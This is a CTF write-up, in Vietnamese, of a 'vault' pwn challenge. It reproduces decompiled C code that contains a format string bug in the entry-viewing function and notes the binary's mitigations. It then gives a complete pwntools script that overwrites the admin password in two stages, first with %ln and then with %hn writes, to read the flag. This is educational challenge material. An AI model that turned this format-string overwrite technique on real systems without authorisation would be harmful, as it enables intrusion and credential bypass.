pwn - Anyone Think

Pwn to find the password

November 29, 2025 November 16, 2025 Easy
Author Author Hung Nguyen Tuong

Tiếp tục với bài pwn thứ 2, 11 solves. Bài này mình có ý tưởng rất đơn giản, không biết có phải là unintended solution hay ko :v

Source Code

Reverse engineer bằng IDA, và sau đó cho vào Claude, mình được các thứ như sau:

Entry struct

struct Entry
{
  char name[32];
  char secret[128];
  int access_level;
};

main()

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s[10]; // [rsp+2h] [rbp-Eh] BYREF
  int choice; // [rsp+Ch] [rbp-4h]

  sub_4012EE();
  sub_4012B6(a1, a2);
  while ( 1 )
  {
    print_menu();
    fgets(s, 10, stdin);
    choice = atoi(s);
    if ( choice == 4 )
      break;
    if ( choice > 4 )
      goto invalid_choice;
    switch ( choice )
    {
      case 3:
        admin_panel();
        break;
      case 1:
        add_entry();
        break;
      case 2:
        view_entry();
        break;
      default:
invalid_choice:
        puts("[-] Invalid choice!");
        break;
    }
  }
  puts("Goodbye!");
  return 0;
}

add_entry()

int add_entry()
{
  Entry *entry; // [rsp+8h] [rbp-8h]

  if ( num_of_vaults > 9 )
    return puts("[-] Vault is full!");
  entry = &entries[num_of_vaults];
  printf("[+] Enter name: ");
  read(0, entry, 31u);
  entry->name[strcspn(entry->name, "\n")] = 0;
  printf("[+] Enter secret: ");
  read(0, entry->secret, 127u);
  entry->secret[strcspn(entry->secret, "\n")] = 0;
  entry->access_level = 1;
  ++num_of_vaults;
  return puts("[+] Entry added successfully!");
}

view_entries()

int view_entries()
{
  int result; // eax
  int index; // [rsp+Ch] [rbp-4h]

  if ( !num_of_vaults )
    return puts("[-] Vault is empty!");
  puts("\n[+] Vault Entries:");
  for ( index = 0; ; ++index )
  {
    result = num_of_vaults;
    if ( index >= num_of_vaults )
      break;
    printf("\n--- Entry #%d ---\n", index);
    printf("Name: %s\n", entries[index].name);
    printf("Secret: ");
    printf(entries[index].secret);
    putchar('\n');
    printf("Access Level: %d\n", access_levels[41 * index]);
  }
  return result;
}

Để ý ở đây ta gặp format string bug printf(entries[index].secret.

admin_panel()

int admin_panel()
{
  char s[128]; // [rsp+0h] [rbp-140h] BYREF
  struct stat v2; // [rsp+80h] [rbp-C0h] BYREF
  char buf[40]; // [rsp+110h] [rbp-30h] BYREF
  FILE *stream; // [rsp+138h] [rbp-8h]

  puts("\n[!] Admin Panel Access");
  printf("[+] Enter admin password: ");
  read(0, buf, 31u);
  buf[strcspn(buf, "\n")] = 0;
  if ( strcmp(buf, password) )
    return puts("[-] Access denied!");
  dword_40474C = 1;
  puts("[+] Admin access granted!");
  if ( stat("/home/ctf/flag.txt", &v2) )
    return puts("[-] flag.txt does not exist!");
  stream = fopen("/home/ctf/flag.txt", "r");
  if ( !stream )
    return puts("[-] fopen failed on flag.txt!");
  if ( fgets(s, 128, stream) )
    printf("[FLAG] %s\n", s);
  else
    puts("[-] flag.txt is empty!");
  return fclose(stream);
}

Mục tiêu của ta là leak được password hoặc ghi đè nó bằng giá trị khác.

Mitigation

Lần đầu tiên mình gặp bài không checksec được, nên cũng loay hoay mãi =)) Ở đây mình dùng hardening-check, thấy là PIE disable, không có canary, Full RELRO,…

Sử dụng readelf -l còn thấy stack là vùng RWE.

Solve

Mặc dù không gdb được ngay trực tiếp, ta vẫn có thể attach nó vào sau.

Ta break ngay trước lời gọi printf() và quan sát stack:

Vì format string không ghi thẳng vào trong stack, ta sẽ lợi dụng cái đã có sẵn trong stack để ghi đè mật khẩu. Ý tưởng rất đơn giản như sau:

  1. Saved rbp 0x7fffffffdcc0 đã ở trên stack, FSB để ghi địa chỉ của password vào rbp trước đó (Tại 0x7fffffffdcc0 như trong ảnh trên).

  1. Địa chỉ của password giờ ở trên stack, FSB để ghi đè vào password.

Có vẻ như ta không dùng gì đến vùng stack RWE =))

Script

#!/usr/bin/env python3

from pwn import *

context.terminal = ["tilix", "-a", "session-add-right", "-e"]
context.arch = 'amd64'

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rc = lambda p, n: p.recv(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

gdbscript = '''
b *0x40153C
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process('./vault')
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
        if args.DEBUG:
            context.log_level = 'debug'
        return p
    else:
        host = "chall.cscv.vn"
        port = 9999
        return remote(host, port)

p = conn()

def add_entry(name, secret):
    slan(p, b'>>>', 1)
    sla(p, b'name:', name)
    sla(p, b'secret:', secret)

def view_entries():
    slan(p, b'>>>', 2)

sleep(1)

password_addr = 0x4040A0
add_entry(b'A', f'%{password_addr}c%8$ln'.encode())

add_entry(b'A', f'%{0x41}c%12$hn'.encode())

sleep(0.5)
view_entries()

slan(p, b'>>>', 3)
sla(p, b'password:', b'A')
ru(p, b'[FLAG]')

print(rl(p).strip().decode())